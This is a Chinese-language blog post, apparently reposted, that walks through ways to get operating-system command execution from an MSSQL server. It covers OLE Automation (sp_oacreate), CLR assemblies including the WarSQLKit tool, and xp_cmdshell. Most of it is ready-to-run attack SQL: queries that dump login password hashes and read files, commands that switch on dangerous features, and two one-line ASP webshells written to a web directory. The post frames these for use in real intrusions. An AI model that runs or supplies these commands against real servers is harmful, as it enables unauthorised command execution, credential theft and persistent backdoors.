1. 程式人生 > 其它 >MSSQL儲存過程命令執行

MSSQL儲存過程命令執行

MSSQL儲存過程命令執行

轉載自簡書

基本概念

MSSQL

MSSQL指微軟的SQLServer資料庫伺服器,它是一個數據庫平臺,提供資料庫的從伺服器到終端的完整的解決方案。

元件

元件是對資料和方法的簡單封裝,可以理解為物件。有著自己的屬性和方法。屬性是元件資料的簡單訪問者,而方法就是元件的一些簡單功能。

OLE
OLE是一種面嚮物件的技術,利用這種技術可重複使用COM元件。

基本查詢命令

#查詢版本資訊
select @@version

#檢視是否是管理員
select is_srvrolemember('sysadmin')

#檢視主機名
select host_name();

#檢視伺服器名
select @@servername;

#檢視使用者hash
select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins

#檢視sql server 認證方式
select SERVERPROPERTY('IsIntegratedSecurityOnly') 

#檢視目錄結構
#depth設定為1,表示顯示所以子目錄,file設定為1,表示顯示子目錄的檔案
execute master..xp_dirtree 'e:\',1,1 列出e盤目錄、檔案

#判斷檔案是否存在
exec master.sys.xp_fileexist 'e:\web\tmp.asp'

#判斷站庫分離
select host_name();   #查詢客戶端主機名
select @@servername;  #查詢服務端主機名

#查詢檔案內容
create table files(line varchar(1024))
bulk insert  files from 'e:\1.txt'
select * from files

儲存過程

儲存過程是一組為了完成某個特定功能的SQL語句。一次編譯永久生效。然後使用者通過指定儲存過程的名字以及引數來執行。
而儲存過程分為:

  1. 系統儲存過程
  2. 本地儲存過程
  3. 擴充套件儲存過程
  4. 遠端儲存過程
  5. 臨時儲存過程

系統儲存過程

以sp_開頭,進行系統的設定。如:sp_oacreate、sp_oamethod
檢視微軟官方文件為:
sp_oacreate是建立 OLE 物件的例項。
sp_oamethod是呼叫一個 OLE 物件的方法。

sp_oacreate 執行命令

啟用SP_OACREATE

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;

執行系統命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'
Shell.Application //執行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1';

需要注意的是該儲存過程執行命令無回顯,所以將命令執行的結果輸出到檔案裡。
兩個語句中分別使用了wscript.shell、Shell.Application兩個物件,而一些防護產品對該物件比較敏感。
所以有了第二種方法:
同樣也是利用sp_oacreate,但使用的是scripting.filesystemobject物件,該物件用來操作一些檔案。
在知道web絕對路徑的情況下,可利用該物件寫入webshell。也是解決不出網的一張方式。

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\tmp.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("x"))%>' 

本地儲存過程

本地儲存過程指使用者建立的自定義儲存過程。如:CLR

CLR,公共語言基礎結構(Common Language Infrastructure),用來支援不同程式語言。sql server集成了該元件,可以通過sql server編寫CLR來執行系統命令。

CLR執行系統命令

  1. 啟用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
  1. 將資料庫標記為安全
ALTER DATABASE master SET TRUSTWORTHY ON;
  1. 利用SQL語句匯入程式集
CREATE ASSEMBLY [Database1]
    AUTHORIZATION [dbo]
    FROM 0x4D5A9.............
    WITH PERMISSION_SET = UNSAFE;
GO
  1. 建立儲存過程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
  1. 執行系統命令
exec dbo.ExecCommand "whoami"

WarSQLKit 工具

在看CLR編寫的過程中,順便看到有前輩開發了針對mssql CLR進行利用的滲透工具。
也就是WarSQLKit。github可下載原始碼。

  1. 啟用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
  1. 將資料庫標記為安全
ALTER DATABASE master SET TRUSTWORTHY ON;
  1. 利用SQL語句匯入程式集
CREATE ASSEMBLY [WarSQLKit]
    AUTHORIZATION [dbo]
    FROM  0x4D5A900003000000.......
    WITH PERMISSION_SET = UNSAFE;
GO

注:這裡說一下該十六進位制非常長,在WarSQLKit.dacpac檔案內
解壓該檔案,原始碼存放在model.xml檔案中

  1. 建立儲存過程
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
  1. 執行系統命令
EXEC sp_cmdExec 'whoami';

擴充套件儲存過程

以xp_開頭,使用外部程式語言編寫的儲存過程。如:xp_cmdshell

xp_cmdshell 執行命令

sql server 2005版本以後預設關閉,需要開啟後使用

  1. 啟用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  1. 執行系統命令
exec master..xp_cmdshell 'whoami'

也可以寫入webshell

exec master..xp_cmdshell 'echo ^<%eval request("x")%^> >e:\shell.aspx'

補充:
實戰中如果出現呼叫CreateProcess失敗,一般為攔截了xp_cmdshell的呼叫。